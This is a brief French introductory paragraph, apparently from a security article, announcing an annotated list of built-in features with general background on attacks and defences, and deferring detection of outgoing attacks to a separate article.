Cet article fournit une liste annotée des fonctionnalités intégrées, ainsi que des informations générales sur les attaques et les défenses. Les techniques utilisées pour détecter les attaques sortantes sont une autre affaire et méritent probablement leur propre article.